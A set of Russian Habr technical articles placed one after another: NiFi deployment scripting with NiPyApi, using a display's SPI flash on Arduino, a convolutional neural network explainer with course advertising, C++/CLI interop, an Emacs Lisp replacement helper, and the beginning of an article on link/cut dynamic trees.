*Пример события CREATE\_FLOW\_VERSION*
Это эквивалентно следующему:
```
CREATE_FLOW_VERSION [BUCKET_ID=5d81dc5e-79e1-4387-8022-79e505f5e3a0,
FLOW_ID=a89bf6b7-41f9-4a96-86d4-0aeb3c3c25be, VERSION=4, USER=flow_cd,
COMMENT=Update-Attributes]
```
Любое обновление версии отдельного потока запускает сценарий для создания новой ветви проекта git запроса на изменение цели и создания файла dest\_change\_request.json путем сравнения новой и основной версии.
```
{
"env":"uat",
"nifi_api_url":"https://nifi-uat.example.cloudera.com:9091/nifi-api",
"reg_api_url":"https://registry-uat.example.cloudera.com:61443/nifi-registry-api",
"reg_client_name":"registry-uat.example.cloudera.com",
"bucket":{
"name":"uat_bucket",
"flows":[
{
"name":"flowb1_digestion",
"version":"4",
"sensitive_parameters":[
],
"comment":"Update Flow Attributes",
"deployed_version":"2",
"deployed_comment":"Update Logic"
}
]
}
}
```
*Пример dest\_change\_request.json*
Для рассмотрения запроса release менеджером в git создается запрос на перенос.
#### 8. Утверждение внедрения кода
Поскольку каждое изменение версии группы процессов запускает одно событие реестра NiFi, если диспетчер версий содержит несколько групп процессов и несколько служб корневого контроллера, то для одного запроса на изменение исходника он будет получать несколько запросов на изменение цели.
Диспетчеру версий необходимо объединить связанные запросы на изменение и просмотреть изменения. Если перечислены какие-либо чувствительные параметры, он должен подтвердить, требуются ли в целевом NiFi новые значения чувствительных параметров. После внесения этих изменений конфиденциальных параметров запрос на перенос может быть одобрен и объединен с master ветвью в git.
```
{
"env":"uat",
"nifi_api_url":"https://nifi-uat.example.cloudera.com:9091/nifi-api",
"reg_api_url":"https://registry-uat.example.cloudera.com:61443/nifi-registry-api",
"reg_client_name":"registry-uat.example.cloudera.com",
"bucket":{
"name":"uat_bucket",
"flows":[
{
"name":"flowa1_digestion",
"version":"1",
"sensitive_parameters":[
{
"name":"access_key_id"
},
{
"name":"secret_access_key"
}
],
"comment":"Initial Version"
},
{
"name":"root_controller_services",
"version":"3",
"sensitive_parameters":[
{
"name":"oracle_password"
}
],
"comment":"root_DBCPConnectionPool",
"deployed_version":"2",
"deployed_comment":"root_PropertiesFileLookupService"
},
{
"name":"flowb1_digestion",
"version":"4",
"sensitive_parameters":[
],
"comment":"Update Flow Attributes",
"deployed_version":"2",
"deployed_comment":"Update Logic"
}
]
}
}
```
*Пример комбинированного dest\_change\_request.json*
#### 9. Развертывание новой версии
Наконец, объединенная главная ветвь запускает скрипт python deploy\_dest\_changes.py для автоматического развертывания новой версии потока в среде UAT - без простоев или с минимальным временем простоя.
```
# Connect flowx_feeding with flowx_digestion
if feeding_pg is not None and digestion_pg is not None:
digestion_inputport = nipyapi.canvas.list_all_input_ports(pg_id=digestion_pg.id)
feeding_outputport = nipyapi.canvas.list_all_output_ports(pg_id=feeding_pg.id)
if digestion_inputport[0] is None or feeding_outputport[0] is None:
raise SystemExit('Error: the flowx_feeding pg must have an output port, and the flowx_digestion pg must have an input port!')
nipyapi.canvas.create_connection(feeding_outputport[0], digestion_inputport[0])
nipyapi.canvas.schedule_process_group(digestion_pg.id, scheduled=True)
nipyapi.canvas.schedule_process_group(feeding_pg.id, scheduled=True)
```
*Соединение подпотоков совершенно нового потока*
```
# Stop the input port
nipyapi.canvas.schedule_components(pg_id=digestion_pg.id, scheduled=False, components=input_port)
all_connections = nipyapi.canvas.list_all_connections(pg_id=digestion_pg.id)
queued_count = sum(locale.atoi(connection.status.aggregate_snapshot.queued_count) for connection in all_connections)
# Wait for Queues are empty
while (queued_count > 0):
log.info("There are still %d queued events, waiting for all are processed.", queued_count)
time.sleep(10)
all_connections = nipyapi.canvas.list_all_connections(pg_id=digestion_pg.id)
queued_count = sum(locale.atoi(connection.status.aggregate_snapshot.queued_count) for connection in all_connections)
log.info("Process Group %s has no queued event, start updating new version now!", flow['name'])
nipyapi.canvas.schedule_process_group(digestion_pg.id, scheduled=False)
nipyapi.versioning.update_flow_ver(process_group=digestion_pg, target_version=flow['version'])
nipyapi.canvas.schedule_process_group(digestion_pg.id, scheduled=True)
```
*Развертывание новой версии активного подпотока*
Благодаря превосходному NiPyApi (<https://github.com/Chaffelson/nipyapi>), веденному Дэниелом Чаффельсоном, скрипты Python для Cloudera Flow Management оказаались намного проще, чем ожидалось. | https://habr.com/ru/post/557026/ | null | ru | null |
# Ипользование SPI Flash памяти дисплея для хранения графических ресурсов или дисплей домашней метеостанции
Данная статья призвана рассказать о возможности использования имеющейся на борту дисплея Flash памяти для нужд проекта.
Для кого это актуально или просто интересно — добро пожаловать под кат.
Целый год пролежал 7" дисплей на полке ожидая своего часа. Почему так долго?
Да потому, что в пользовании был 3,2" дисплей, который вобщем то прекрасно работал.
Однако объем одновременно выводимой информации на 3,2" меня абсолютно не устраивал. Серверная часть метеостанции получает прогноз погоды на неделю из интернета, но отображать его (прогноз) одновременно с показаниями датчиков, не было никакой возможности. Поэтому я озадачился покупкой более крупного экранчика. Изначально смотрел на 5", но поучавствовав пару раз в аукционе, в итоге купил 7" по цене 5", чем был весьма обрадован. Купленный дисплей оснащен контроллером SSD1963 и 64мБ Flash RAM.
Когда новый дисплей еще пылился на полке, я обратил внимание на наличие в интернете библиотек с документацией, позволяющих использовать для своих нужд встроенную флэш-память. Пока что я придумал хранить там иконки отображающие текущую погоду. В предыдущей версии с 3,2" дисплеем иконки хранились на SD Card вставленной в кардридер дисплейного модуля.
Сразу хочу отметить, процесс загрузки ресурсных файлов в память дисплея, простым и удобным не назовешь, поэтому я и решил написать небольшую статью-инструкцию. Итак начнем:
Для начала качаем архивы по этим ссылкам: [SPIFlash](http://www.rinkydinkelectronics.com/library.php?id=65) и [UTFT\_SPIflash](http://www.rinkydinkelectronics.com/library.php?id=67) и разворачиваем архивы в каталог libraries.
Загрузка состоит из нескольких шагов:
1. Заранее подготавливаем набор иконок или других графических ресурсов, которые хотим задействовать в своем проекте.
2. В папке SPIflash\tools\FlashUploader находится инструмент FlashUploader и неплохая документация к нему. По идее, данный инструмент предназначен для загрузки ресурсов во flash дисплея, но на деле, из-за проблем с коммуникацией ПО с контроллером, это не удается сделать, поэтому данный процесс несколько удлиняется.
Используя FlashUploader, готовим SFD файл, содержащий набор заготовленных картинок или других ресурсов.
Для подготовкии и сохранения ресурсного файла, коннектить FlashUploader и дисплей нет необходимости, однако если все же вы захотите это сделать, то в Ардуино, к которой подключен дисплей, необходимо загрузить специальный скетч, расположенный в папке SPIflash\examples\Arduino (AVR)\SPIflash\_FlashUploader. После добавления всех иконок и сохранения sfd-файла, не забываем сформировать файл с описанием вложенного контента, воспользовавшись кнопкой «Generate List of Contents». В дальнейшем файл с описанием, используем как справочник для поиска номера нужной иконки.
**Скриншот FlashUploader**
3. Полученный SFD файл записываем на SD Card, которую затем вставляем в картридер дисплея.
4. Подключаем дисплей к Arduino и загружаем скетч SPIflash\_Restore из папки SPIflash\examples\Arduino (AVR).
5. Запускаем процесс восстановления содержимого SD во флэш-памаять дисплея.
**Скриншот Serial монитора поcле успешной загрузки**
На этом процесс загрузки окончен.
В проекте обращаться к нужному ресурсу (картинке) необходимо по его ID в SFD-файле.
**Небольшой тестовый скетч для вывода всех иконок (а вмоем случае их 44) на дисплей**
```
#include
#include
#include
#include
////// шрифты ////////
extern uint8\_t SmallFont[];
extern uint8\_t BigFont[];
///////////////////////////////////
// Настройки дисплея
UTFT myGLCD (CTE70, 38, 39, 40, 41);
// myFlash(); (if using the hardware SPI pins. See the manual for other configurations.)
SPIflash myFlash(45);
UTFT\_SPIflash myFiles(&myGLCD, &myFlash);
//////////////////////////////////////////////////
void setup() {
myGLCD.InitLCD(LANDSCAPE);
myGLCD.setBright(7);
myGLCD.setFont(BigFont);
myGLCD.setColor(255, 255, 255);
myGLCD.setBackColor(0, 0, 0);
myGLCD.clrScr();
myFlash.begin();
if (myFlash.ID\_device == 0)
{
myGLCD.print(F("Unknown flash device!"), 10, 10);
while (true) {};
}
TestIcon2Display(10, 10);
}
void TestIcon2Display(int x, int y)
{
for (int i = 0; i < 44; i++)
{
Serial.println(i);
myFiles.loadBitmap(i, x, y);
x = x + 150;
if (x > 800 - 150)
{
x = 10;
y = y + 110;
}
if (y > 480 - 110) y = 10;
delay(700);
}
}
void loop() {
}
```
Ну и в завершении
**Дисплей метеостанции в рабочем состоянии** | https://habr.com/ru/post/388449/ | null | ru | null |
# Наглядно о том, как работает свёрточная нейронная сеть
К старту курса о [машинном и глубоком обучении](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=290621) мы решили поделиться переводом статьи с наглядным объяснением того, как работают CNN — сети, основанные на принципах работы визуальной коры человеческого мозга. Ненавязчиво, как бы между строк, автор наталкивает на размышления о причинах эффективности CNN и на простых примерах разъясняет происходящие внутри этих нейронных сетей преобразования.
---
### Начинаем сначала
Начнём с последовательности CNN, которая классифицирует рукописные цифрыСвёрточная нейронная сеть (ConvNet/CNN) — это алгоритм глубокого обучения, который может принимать входное изображение, присваивать важность (изучаемые веса и смещения) аспектам или объектам изображении и отличать одно от другого. При этом изображения в сравнении с другими алгоритмами требуют гораздо меньше предварительной обработки. В примитивных методах фильтры разрабатываются вручную, но достаточно обученные сети CNN учатся применять эти фильтры/характеристики.
Архитектура CNN аналогична структуре связей нейронов в мозгу человека, учёные черпали вдохновение в организации зрительной коры головного мозга. Отдельные нейроны реагируют на стимулы только в некоторой области поля зрения, также известного как перцептивное поле. Множество перцептивных полей перекрывается, полностью покрывая поле зрения CNN.
### Почему слои свёртки расположены над сетью с прямой связью
Матрица 3×3 в виде вектора 9×1Изображение — не что иное, как матрица значений пикселей, верно? Так почему бы не сделать его плоским (например, матрицу 3×3 сделать вектором 9×1) и скормить этот вектор многослойному перцептрону, чтобы тот выполнил классификацию? Хм… всё не так просто.
В случаях простейших двоичных изображений при выполнении прогнозирования классов метод может показать среднюю точность, но на практике, когда речь пойдёт о сложных изображениях, в которых повсюду пиксельные зависимости, он окажется неточным.
Сеть CNN способна с успехом схватывать пространственные и временные зависимости в изображении через применение соответствующих фильтров. Такая архитектура за счёт сокращения числа задействованных параметров и возможности повторного использования весов даёт лучшее соответствие набору данных изображений. Иными словами, сеть можно научить лучше понимать сложность изображения.
### Входное изображение
RGB-изображение 4×4×3На рисунке мы видим разделённое на три цветовых плоскости (красную, зелёную и синюю) RGB-изображение, которое можно описать в разных цветовых пространствах — в оттенках серого (Grayscale), RGB, HSV, CMYK и т. д.
Можно представить, насколько интенсивными будут вычисления, когда изображения достигнут размеров, например, 8 K (76804320). Роль CNN заключается в том, чтобы привести изображения в форму, которую легче обрабатывать, без потери признаков, имеющих решающее значение в получении хорошего прогноза. Это важно при разработке архитектуры, которая не только хорошо изучает функции, но и масштабируется для массивных наборов данных.
### Слой свёртки — ядро
Свёртка изображения 5×5×1 с ядром 3×3×1 для получения свёрнутого признака 3×3×1Размеры изображения:
1. 5 — высота;
2. 5 — ширина;
3. 1 — количество каналов, например, RGB.
В демонстрации выше зелёная секция напоминает наше входное изображение 5×5×1. Элемент, участвующий в выполнении операции свёртки в первой части слоя свёртки, называется ядром/фильтром K, он представлен жёлтым цветом. Пусть K будет матрицей 3×3×1:
```
Kernel/Filter, K =
1 0 1
0 1 0
1 0 1
```
Ядро смещается 9 раз из-за длины шага в единицу (то есть шага нет), каждый раз выполняя операцию умножения матрицы K на матрицу P, над которой находится ядро.
Перемещение ядраФильтр перемещается вправо с определённым значением шага, пока не проанализирует всю ширину. Двигаясь дальше, он переходит к началу изображения (слева) с тем же значением шага и повторяет процесс до тех пор, пока не проходит всё изображение.
Операция свёртки на матрице изображения M×N×3 с ядром 3×3×3В случае изображений с несколькими каналами (например, RGB) ядро имеет ту же глубину, что и у входного изображения. Матричное умножение выполняется между стеками Kn и In ([K1, I1]; [K2, I2]; [K3, I3]), все результаты суммируются со смещением, чтобы получить уплощённый канал вывода свёрнутых признаков с глубиной в 1.
Операция свёртки с длиной шага, равной 2Свёртка делается, чтобы извлечь высокоуровневые признаки, например края входного изображения. Сеть не нужно ограничивать единственным слоем. Первый слой условно несёт ответственность за схватывание признаков низкого уровня, таких как кромки, цвет, ориентация градиента и т. д. Через дополнительные слои архитектура адаптируется к признакам высокого уровня, мы получаем сеть со здравым пониманием изображений в наборе данных, похожем на наше.
У результатов свёртки два типа: первый — свёрнутый признак уменьшается в размере по сравнению с размером на входе, второй тип касается размерности — она либо остаётся прежней, либо увеличивается. Это делается путём применения допустимого заполнения в первом случае или нулевого заполнения — во втором.
Нулевое заполнение: для создания изображения 6×6×1 изображение 5×5×1 дополняется нулямиУвеличивая изображение 5×5×1 до 6×6×1, а затем проходя над ним ядром 3×3×1, мы обнаружим, что свёрнутая матрица будет обладать разрешением 5×5×1. Отсюда и название — нулевое заполнение. С другой стороны, проделав то же самое без заполнения, мы обнаружим матрицу с размерами самого ядра (3×3×1); эта операция называется допустимым заполнением.
В [этом](https://github.com/vdumoulin/conv_arithmetic) репозитории содержится множество таких GIF-файлов, они помогут лучше понять, как заполнение и длина шага работают вместе для достижения необходимых результатов.
### Слой объединения
Объединение 3×3 над свёрнутым признаком 5×5Подобно свёрточному слою, слой объединения отвечает за уменьшение размера свёрнутого объекта в пространстве. Это делается для уменьшения необходимой при обработке данных вычислительной мощности за счёт сокращения размерности. Кроме того, это полезно для извлечения доминирующих признаков, которые являются вращательными и позиционными инвариантами, тем самым позволяя поддерживать процесс эффективного обучения модели.
Есть два типа объединения: максимальное и среднее. Первое возвращает максимальное значение из покрытой ядром части изображения. А среднее объединение возвращает среднее значение из всех значений покрытой ядром части.
Максимальное объединение также выполняет функцию шумоподавления. Оно полностью отбрасывает зашумленные активации, а также устраняет шум вместе с уменьшением размерности. С другой стороны, среднее объединение для подавления шума просто снижает размерность. Значит, можно сказать, что максимальное объединение работает намного лучше среднего объединения.
Типы объединенияСлои объединения и свёртки вместе образуют i-тый слой свёрточной нейронной сети. Количество таких слоёв может быть увеличено в зависимости от сложности изображений, чтобы лучше схватывать детали, но это делается за счёт увеличения вычислительной мощности.
Выполнение процесса выше позволяет модели понимать особенности изображения. Преобразуем результат в столбцовый вектор и скормим его обычной классифицирующей нейронной сети.
### Классификация — полносвязный слой
Добавление полносвязного слоя — это (обычно) вычислительно недорогой способ обучения нелинейным комбинациям высокоуровневых признаков, которые представлены на выходе слоя свёртки. Полносвязный слой изучает функцию в этом пространстве, которая может быть нелинейной.
После преобразования входного изображения в подходящую для многоуровневого перцептрона форму мы должны сгладить изображение в вектор столбец. Сглаженный выходной сигнал подаётся на нейронную сеть с прямой связью, при этом на каждой итерации обучения применяется обратное распространение. За серию эпох модель обретает способность различать доминирующие и некоторые низкоуровневые признаки в изображениях и классифицировать их методом классификации Softmax.
У CNN есть различные архитектуры, сыгравшие ключевую роль в построении алгоритмов, на которых стоит и в обозримом будущем будет стоять искусственный интеллект в целом. Некоторые из этих архитектур перечислены ниже:
1. LeNet;
2. AlexNet;
3. VGGNet;
4. GoogLeNet;
5. ResNet;
6. ZFNet.
[Репозиторий](https://github.com/ss-is-master-chief/MNIST-Digit.Recognizer-CNNs) с проектом по распознаванию цифр.
CNN имеет огромное количество практических приложений; и если вам интересны эксперименты и поиски в области ИИ, обратите внимание на наш курс о [машинном и глубоком обучении](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=290621) или прокачайтесь в работе с данными или освойте перспективную специальность с помощью нашего флагманского [курса о Data Science](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=290621).
[Узнайте](https://skillfactory.ru/courses/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ALLCOURSES&utm_term=regular&utm_content=290621), как прокачаться и в других специальностях или освоить их с нуля:
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=290621)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=150621)
Другие профессии и курсы**ПРОФЕССИИ**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=290621)
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=290621)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=290621)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=290621)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=290621)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=290621)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=290621)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=290621)
* [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=290621)
* [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=290621)
**КУРСЫ**
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=290621)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=290621)
* [Курс «Математика для Data Science»](https://skillfactory.ru/math-stat-for-ds#syllabus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MAT&utm_term=regular&utm_content=290621)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=290621)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=290621)
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=290621)
* [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=290621)
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=290621) | https://habr.com/ru/post/565232/ | null | ru | null |
# Вызов управляемого кода из неуправляемого
 С задачей вызова неуправляемого кода из управляемого мы сталкиваемся довольно часто, и эта задача имеет простое решение в виде одного атрибута *[DllImport]* и небольшого набора дополнительных правил, которые хорошо изложены в MSDN. Обратная же задача встречается гораздо реже. В данной статье мы и рассмотрим небольшой пример, как это можно сделать. Его не стоит рассматривать как исчерпывающий, скорее лишь, как направление хода мыслей и концепцию. Итак, начнем.
Наш пример будет состоять из трех проектов:
1. MixedLibrary — C++/CLI
2. SimpleLibrary — C#
3. Win32App — C++
Начнем с самого простого — **SimpleLibrary**. Эта библиотека содержит один простой сервис, который складывает два числа и выводит результат в консоль:
```
public class Service
{
public void Add(Int32 a, Int32 b)
{
Console.WriteLine("Hello from Managed Code!");
Console.WriteLine(String.Format("Result: {0}", a + b));
}
}
```
Теперь перейдем к библиотеке **MixedLibrary**. Эта библиотека содержит в себе класс-обертку над нашим SimpleService. Содержимое файла CppService.h:
```
// Директивы препроцессора нужны, чтобы компилятор сгенерировал записи
// об экспорте класса из библиотеки
#ifdef INSIDE_MANAGED_CODE
# define DECLSPECIFIER __declspec(dllexport)
# define EXPIMP_TEMPLATE
#else
# define DECLSPECIFIER __declspec(dllimport)
# define EXPIMP_TEMPLATE extern
#endif
namespace MixedLibrary
{
class DECLSPECIFIER CppService
{
public:
CppService();
virtual ~CppService();
public:
void Add(int a, int b);
private:
void * m_impl;
};
}
```
И содержимое файла CppService.cpp:
```
#include "CppService.h"
using namespace System;
using namespace System::Runtime::InteropServices;
using namespace SimpleLibrary;
namespace MixedLibrary
{
CppService::CppService()
{
Service^ service = gcnew Service();
m_impl = GCHandle::ToIntPtr(GCHandle::Alloc(service)).ToPointer();
}
CppService::~CppService()
{
GCHandle handle = GCHandle::FromIntPtr(IntPtr(m_impl));
handle.Free();
}
void CppService::Add(int a, int b)
{
GCHandle handle = GCHandle::FromIntPtr(IntPtr(m_impl));
Service^ service = safe_cast(handle.Target);
service->Add(a, b);
}
}
```
Также для компилируемости необходимо добавить директиву препроцессора INSIDE\_MANAGED\_CODE:
И последний штрих — наше обычное неуправляемое приложение:
```
#include "stdafx.h"
#pragma comment(lib, "../Debug/MixedLibrary.lib")
#include
#include "../MixedLibrary/CppService.h"
using namespace std;
using namespace MixedLibrary;
int main()
{
CppService\* service = new CppService();
service->Add(5, 6);
cout << "press any key..." << endl;
getchar();
}
```
И, конечно же, результат:
Автор: [nikitam](https://habrahabr.ru/users/nikitam/) | https://habr.com/ru/post/335620/ | null | ru | null |
# Работа с умом, а не руками: пример увеличения производительности редактирования текста в Emacs
#### История
Я почти закончил один проект и, как это всегда бывает, в последний момент потребовалось внести массовые рутинные изменения.
Это был Bash-скрипт для автоматизации процесса сборки на различных Unix-ах и, реальность такова, что между моей средой и средой сервера сборки небыло ничего общего.
Вывод был один: надо было использовать абсолютные пути к утилитам, которые встречались в скрипте. Для этого я решил использовать переменные, как в Makefile [GNU Autoconf](http://www.gnu.org/software/autoconf/): `“RM=/usr/local/bin/rm”` и `“${RM} -vf foo”`.
Работа почти сделана, но у меня 3 таких скрипта, которые выглядят очень похоже и я совершенно не хочу делать эти замены руками… поэтому я попытался сделать версию **`replace-string’** в [Emacs](http://www.gnu.org/software/emacs/)-овом **\*scratch\*** буфере, как раз для моей проблемы:
```
(defun foo ()
(interactive)
(let ((begin (region-beginning))
(end (region-end)))
(mapcar #'(lambda (p)
(replace-string (format "%s " (cadr p))
(format "${%s} " (car p))
nil begin end))
'((GNUTAR tar)
(GUNZIP gunzip)
(GZIP gzip)
(GMAKE gmake)
(AUTORECONF autoreconf)
(MKDIR mkdir)
(ECHO echo)
(CP cp)
(FIND find)
(RM rm)
(TEST test)
(LN ln)))))
```
И это всё!
#### Немного по-подробней, что это за код
Это функция **`foo'**, которую можно вызывать в редакторе интерактивно, т.е. во время редактирования текста, а не только из тела других функций. Она расширяет действие функции **`replace-string’** тем, что вызывает её для каждого элемента из списка:
```
((GNUTAR tar)
(GUNZIP gunzip)
(GZIP gzip)
(GMAKE gmake)
(AUTORECONF autoreconf)
(MKDIR mkdir)
(ECHO echo)
(CP cp)
(FIND find)
(RM rm)
(TEST test)
(LN ln))
```
Как результат, заменяя найденное в тексте второе значение каждого элемента на первое (например `"tar"` на `"GNUTAR"`).
В начале своего выполнения, функция **`foo'** определяет границы выделенного региона, в котором ей следует произвести замены: это вызовы **`region-beginning'** и **`region-end'**.
Затем происходит вызов функции **[`mapcar'](http://www.lispworks.com/documentation/HyperSpec/Body/f_mapc_.htm#mapcar)**, которая вызывает функцию-замыкание **`lambda (p)'** для каждого элемента списка.
Задача функции-замыкания состоит в том, чтобы разобрать переменную **`p'** на составляющие и вызвать функцию **`replace-string'** для замены в тексте.
#### Эпилог
Замечу, что функции семейства **[`map'](http://www.lispworks.com/documentation/HyperSpec/Body/f_mapc_.htm)** могут оперировать над произвольным количеством списков и, на первый взгляд, кажется, что вместо списка списков можно было использовать два спика значений: `(GNUTAR GUNZIP GZIP ...)` и `(tar gunzip gzip ...)`, но такая организация структуры данных, очевидно, более сложна из-за неявных связей между двумя списками, тогда как в предложенном варианте такая связь не выходит за рамки подсписка.
#### Выводы
Рассмотренная функция представляет собой одноразовую конструкцию, призванную решить появившуюся перед одним человеком проблему. Универсализация этой конструкции видится автору бессмысленным занятием. Целью этого поста было показать простоту и лёгкость программирования инструмента (редактора Emacs), которым может пользоваться человек, если он хочет работать с умом, а не руками. | https://habr.com/ru/post/124861/ | null | ru | null |
# Динамические деревья
*Перед прочтением статьи рекомендую посмотреть посты про splay-деревья ([1](http://habrahabr.ru/company/spbau/blog/210296/)) и деревья по неявному ключу ([2](http://habrahabr.ru/post/101818), [3](http://habrahabr.ru/post/102006), [4](http://habrahabr.ru/post/102364))*
 Динамические деревья (link/cut trees) мало освещены в русскоязычном интернете. Я нашел только краткое описание на алголисте. Тем не менее эта структура данных очень интересна. Она находится на стыке двух областей: потоки и динамические графы.
В первом случае динамические деревья позволяют построить эффективные алгоритмы для задачи о поиске максимального потока. Улучшенные алгоритмы Диница и проталкивания предпотока работают за  и  соответственно. Если вы не знаете, что такое поток, и на лекциях у вас такого не было, спешите пополнить свои знания в Кормене.
Второй случай требует небольшого введения. Динамические графы — это активно развивающаяся современная область алгоритмов. Представьте, что у вас есть граф. В нем периодически происходят изменения: появляются и исчезают ребра, меняются их веса. Изменения нужно быстро обрабатывать, а еще уметь эффективно считать разные метрики, проверять связность, искать диаметр. Динамические деревья являются инструментом, который позволяет ловко манипулировать с частным случаем графов, деревьями.
Перед тем, как нырнуть под кат, попробуйте решить следующую задачу. Дан взвешенный граф в виде последовательности ребер. По последовательности можно пройти только один раз. Требуется посчитать минимальное покрывающее дерево, используя  памяти и  времени. По прочтении статьи вы поймете, как легко и просто можно решить эту задачу, используя динамические деревья.
#### Постановка задачи
Динамические деревья имеют много разных модификаций, заточенных под конкретные задачи. Мы сейчас изучим базовую версию, а потом будем допиливать ее по требованию.
Представим, что у нас есть набор деревьев вкупе из  вершин. Каждое дерево подвешено за корень. Нам приходит следующий набор запросов. * `make_tree(v)` — создать новое дерево с вершиной `v`
* `link(u, v)` — подвесить дерево с корнем в вершине `u` к вершине `v`.
* `cut(u, v)` — разрезать ребро (`u`, `v`).
* `find_root(v)` — найти корень дерева, в котором лежит вершина `v`.
* `depth(v)` — найти глубину вершины `v`.
Хочется обрабатывать все запросы за близкое к  время.
Заметим, что, не будь запросов `cut` и `depth`, система непересекающихся множеств ([5](http://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D0%BD%D0%B5%D0%BF%D0%B5%D1%80%D0%B5%D1%81%D0%B5%D0%BA%D0%B0%D1%8E%D1%89%D0%B8%D1%85%D1%81%D1%8F_%D0%BC%D0%BD%D0%BE%D0%B6%D0%B5%D1%81%D1%82%D0%B2), [6](http://habrahabr.ru/company/spbau/blog/208624/), [7](http://habrahabr.ru/post/104772/)) могла бы решить эту задачу.
Динамические деревья использует внутри себя деревья поиска. Интересная особенность, что с произвольными сбалансированными деревьями они обрабатывают все вышеописанные запросы амортизационно за . На splay-деревьях эти же запросы обрабатываются амортизационно за . Памяти используется .
#### Внутреннее представление
Высокая скорость достигается за счет хитрого внутреннего представления. Разобьем каждое дерево на набор путей. Каждая вершина будет лежать ровно на одном пути, и никакие два пути не будут пересекаться. Каждый путь должен соединять потомка с предком.
Для работы с путями воспользуемся деревьями поиска по неявному ключу. Чтобы не было путаницы в терминологии, давайте называть деревья, которые мы разбиваем на пути, *представляемыми*, а деревья, в которые мы эти пути складываем, *опорными*.
Порядок элементов в опорном дереве направим так, что если выписать все его узлы в порядке обхода левое поддерево-ключ-правое поддерево, то заданная последовательность будет соответствовать прохождению хранимого пути в представляемом дереве от верхней вершины к нижней.
Отметим, что ребра, которые не участвуют в разбиении, всегда соединяют верхнюю вершину пути с ее родителем. В каждой вершине будем хранить ссылку. Если вершина лежит на верху пути, ссылка указывает на ее родителя. В корне дерева ссылка указывает на `None`.
#### Деревья поиска по неявному ключу
Здесь я только кратко изложу идею, а все подробностями смотрите в [посте про декартовы деревья](http://habrahabr.ru/post/102364).
Деревья поиска по неявному ключу похожи на обычные деревья, только ключ в них не используется. Искать в них можно -ый по порядку элемент. Для этого в каждом узле записывается размер его поддерева. В зависимости от размеров левого и правого поддеревьев мы выбираем куда идти. Выглядит это как-то так:
```
def find(v, k):
if v == None:
return None
threshold = size(v.left)
if k == threshold:
return v
if k < threshold and v.left != None:
return find(v.left, k)
if k > threshold and v.right != None:
return find(v.right, k - threshold - 1)
return None
```
При балансировке порядок элементов в деревьях поиска не меняется. Поэтому деревья можно рассматривать как умные массивы. Вы можете найти -ый элемент, удалить его или вставить на нужную позицию. Все операции выполнимы за .
Если говорить о декартовых или splay-деревьях, то у нас появляется две дополнительных возможности: разрезать и сливать деревья. Благодаря этому мы можем сливать и разрезать последовательности элементов за .
Применительно к нашей задаче деревья поиска по неявному ключу позволяют нам разрезать один путь на два, сливать два в один и обращаться к -ому по счету элементу за .
#### Expose и его друзья
Ключевая процедура в динамических деревьях — `expose(v)`. Процедура перестраивает пути в представляемом дереве. Мы будем поддерживать инвариант, что после того, как была запрошена вершина `v`, она будет лежать в одном пути с корнем. При этом `v` окажется конечной вершиной пути.
Если вы написали `expose`, то все остальное выглядит более менее очевидно.
```
def link(u, v):
u.link = v
expose(u)
```
